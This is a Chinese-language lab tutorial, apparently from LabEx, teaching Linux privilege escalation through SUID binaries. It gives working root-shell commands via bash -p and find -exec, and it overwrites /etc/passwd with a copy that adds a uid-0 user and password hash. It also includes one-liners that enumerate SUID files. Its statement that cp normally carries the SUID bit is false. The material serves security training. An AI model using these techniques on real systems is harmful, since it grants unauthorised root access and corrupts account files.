利用 SUID 程序

LinuxBeginner
立即练习

介绍

在本实验中,你将学习 SUID(Set user ID upon execution,执行时设置用户 ID)权限,以及如何利用它在 Linux 系统上进行权限提升。目标是通过利用 SUID 二进制文件,结合 bash、find、cp 和 mv 等命令,获取 root 权限。

理解 SUID

在这一步中,你将了解 SUID 权限的概念及其意义。

通常情况下,当程序在 Linux 上执行时,它会以当前用户的权限运行。然而,某些程序(如 cp)需要提升权限才能执行某些操作,例如将文件复制到受限制的目录中。为了让普通用户能够以提升的权限执行此类程序,可以在可执行文件上设置 SUID 权限。

SUID 代表“执行时设置用户 ID”(Set user ID upon execution)。当文件设置了 SUID 权限时,无论执行它的用户是谁,它都会以文件所有者的权限运行。例如,cp 命令由 root 用户拥有,并且设置了 SUID 位,允许任何用户以 root 权限执行它。

要检查 cp 命令的 SUID 权限并将输出保存到文件中,请运行以下命令:

ls -l /usr/bin/cp > /home/labex/project/suid_cp.txt

使用以下命令查看 suid_cp.txt 文件的内容:

cat /home/labex/project/suid_cp.txt

预期输出:

-rwsr-xr-x 1 root root 141832 Feb  8  2024 /usr/bin/cp

你应该会在权限位中看到一个 s,这表示 SUID 权限已设置。

虽然 SUID 可以用于允许普通用户运行特定的特权命令,但如果 SUID 二进制文件提供了执行系统命令或修改文件的功能,它也可能被利用。

使用 bash 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 bash 命令进行权限提升。

  1. 首先,打开终端并导航到 /home/labex/project 目录。

    cd /home/labex/project
    

    检查 bash 命令的权限。

    ls -l /bin/bash
    

    预期输出:

    -rwsr-xr-x 1 root root 1037520 Feb 5 2022 /bin/bash
    
  2. 如果 bash 命令设置了 SUID 位,你可以使用以下命令以 root 权限执行系统命令:

    bash -p
    

    使用 whoami 命令,你可以验证是否获得了 root shell。

    whoami
    

    预期输出:

    root
    
  3. 现在,你可以在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容。

    touch /root/root.txt
    

    你应该会在 /root 目录中看到 root.txt 文件。

使用 find 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 find 命令进行权限提升。

在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。

  1. 首先,导航到 /home/labex/project 目录:

    cd /home/labex/project
    

    检查 find 命令的权限:

    ls -l /usr/bin/find
    

    如果 find 命令设置了 SUID 位,你可以利用它以 root 权限执行系统命令。

  2. 使用 find 执行命令的语法如下:

    find < file > -exec < command > \;
    

    其中,<file> 可以是任意文件。让我们创建一个名为 test 的文件:

    touch test
    
  3. 现在,你可以使用 find 执行命令:

    find test -exec whoami \;
    

    这将以 root 权限执行 whoami 命令。然而,这种方法对于像 ssh 或 su 这样的交互式命令并不方便。

  4. 为了获得一个更方便的 root shell,你可以执行 /bin/bash 命令:

    find test -exec /bin/bash -p \;
    

    注意:-p 标志是必要的,用于保留有效用户 ID(EUID)并防止其被重置为真实用户 ID(RUID)。

  5. 你现在应该已经获得了一个 root shell。在 /root 目录下创建一个名为 root.txt 的文件,并验证文件内容:

    touch /root/root.txt
    

    你应该会在 /root 目录中看到 root.txt 文件。

使用 cp 和 mv 利用 SUID

在这一步中,你将学习如何利用具有 SUID 权限的 cp 和 mv 命令,通过修改 /etc/passwd 或 /etc/shadow 文件进行权限提升。

在上一步之后,你应该已经获得了一个 root shell。为了完成这一步,你需要通过 exit 命令或打开一个新的终端,退出 root shell 并以 labex 用户重新登录。

  1. 首先,导航到 /home/labex/project 目录:

    cd /home/labex/project
    

    检查 cp 命令的权限:

    ls -l /bin/cp
    

    如果 cp 命令设置了 SUID 位,你可以继续利用它。

  2. 将 /etc/passwd 文件的内容复制到你的主目录下的一个文件中:

    cat /etc/passwd > /home/labex/project/passwd
    
  3. 创建一个新的用户条目,包含以下信息:

  • 用户名:hacked

  • 密码:pass123

    在 /home/labex/project/passwd 文件的末尾插入以下行:

    echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /home/labex/project/passwd
    
  1. 现在,使用具有 SUID 权限的 cp 命令覆盖 /etc/passwd 文件:

    cp /home/labex/project/passwd /etc/passwd
    
  2. 覆盖文件后,你可以使用 su 命令切换到 hacked 用户,密码为 pass123:

    su hacked
    

由于 hacked 用户的用户 ID(uid)为 0,你将拥有 root 权限。

mv 命令的利用方法与 cp 类似。你可以自己尝试。

查找 SUID 二进制文件

在这一步中,你将学习如何查找系统中可能被用于权限提升的 SUID 二进制文件。

  1. 你可以使用以下命令列出所有设置了 SUID 位的可执行文件:

    find / -user root -perm -4000 -print 2> /dev/null
    find / -perm -u=s -type f 2> /dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    
  2. 导航到 /home/labex/project 目录以执行以下步骤。

    cd /home/labex/project
    
  3. 选择任意一个命令来列出系统中的 SUID 二进制文件并分析输出。

    find / -user root -perm -4000 -print 2> /dev/null > check_results.txt
    

    检查 check_results.txt 文件的内容以查看系统中的 SUID 二进制文件列表。

    cat check_results.txt
    

    然而,输出可能包含许多无法用于权限提升的文件,需要手动分析。

总结

在本实验中,你学习了 SUID 权限以及如何利用各种 SUID 二进制文件(如 bash、find、cp 和 mv)在 Linux 系统中进行权限提升。你通过实际操作获得了利用这些二进制文件获取 root 访问权限的经验,这是网络安全领域中的一项关键技能。实验提供了一个实际场景,并引导你逐步理解和有效应用这些技术。